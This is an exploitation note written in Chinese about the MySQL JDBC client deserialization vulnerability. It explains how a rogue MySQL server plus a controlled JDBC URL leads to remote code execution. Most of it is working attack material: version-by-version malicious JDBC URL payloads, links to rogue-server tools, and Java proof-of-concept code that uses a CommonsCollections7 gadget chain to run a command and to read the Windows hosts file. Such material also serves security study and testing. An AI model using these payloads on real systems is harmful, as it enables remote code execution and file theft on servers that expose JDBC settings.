漏洞原理
如果攻击者能够控制JDBC连接设置项,那么就可以通过设置其指向恶意MySQL服务器进行ObjectInputStream.readObject()的反序列化攻击从而RCE。
具体点说,就是通过JDBC连接MySQL服务端时,会有几个内置的SQL查询语句要执行,其中两个查询的结果集在MySQL客户端被处理时会调用ObjectInputStream.readObject()进行反序列化操作。如果攻击者搭建恶意MySQL服务器来控制这两个查询的结果集,并且攻击者可以控制JDBC连接设置项,那么就能触发MySQL JDBC客户端反序列化漏洞。
可被利用的两条查询语句:
SHOW SESSION STATUS
SHOW COLLATION
恶意MySQL服务器搭建可参考:
https://github.com/fnmsd/MySQL_Fake_Server
https://github.com/rmb122/rogue_mysql_server
各种payload小结
ServerStatusDiffInterceptor触发点
8.x
jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
6.x
属性名不同,queryInterceptors换为statementInterceptors:
jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
>=5.1.11,包名中没有cj:
jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
5.x <= 5.1.10,同上,但需要连接后执行查询。
detectCustomCollations触发点
5.1.29 - 5.1.40
jdbc:mysql://x.x.x.x:3306/test?detectCustomCollations=true&autoDeserialize=true
5.1.28 - 5.1.19
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true
漏洞利用
1.下载MySQL_Fake_Server工具,开启监听,python server.py
利用这个工具需要用户名进行控制,以及修改用户名的参数来指定攻击的方式以及附带的参数。
2.再漏洞点使用反序列化,前提漏洞环境有可序列化链条,比如如下是使用CC7的链。
public class Jdbctest {
public static void main(String[] args) throws Exception {
Class.forName("com.mysql.jdbc.Driver");
String jdbc_url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";
Connection con = DriverManager.getConnection(jdbc_url, "yso_CommonsCollections7_calc", "root"); // 其中红色部分的username是需要调整的,yso为指定使用反序列化模块,CommonsCollections7指定使用CC7的链,calc指定CC的命令参数。
}
}
3.文件读取
public class Jdbctest {
public static void main(String[] args) throws Exception {
Class.forName("com.mysql.jdbc.Driver");
String jdbc_url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";
Connection con = DriverManager.getConnection(jdbc_url, "fileread_c:\\windows\\system32\\drivers\\etc\\hosts", "root");
}
}
参考链接:
https://www.mi1k7ea.com/2021/04/23/MySQL-JDBC%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#JDBC%E7%AE%80%E4%BB%8B
https://c014.cn/blog/java/JDBC/MySQL%20JDBC%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90.html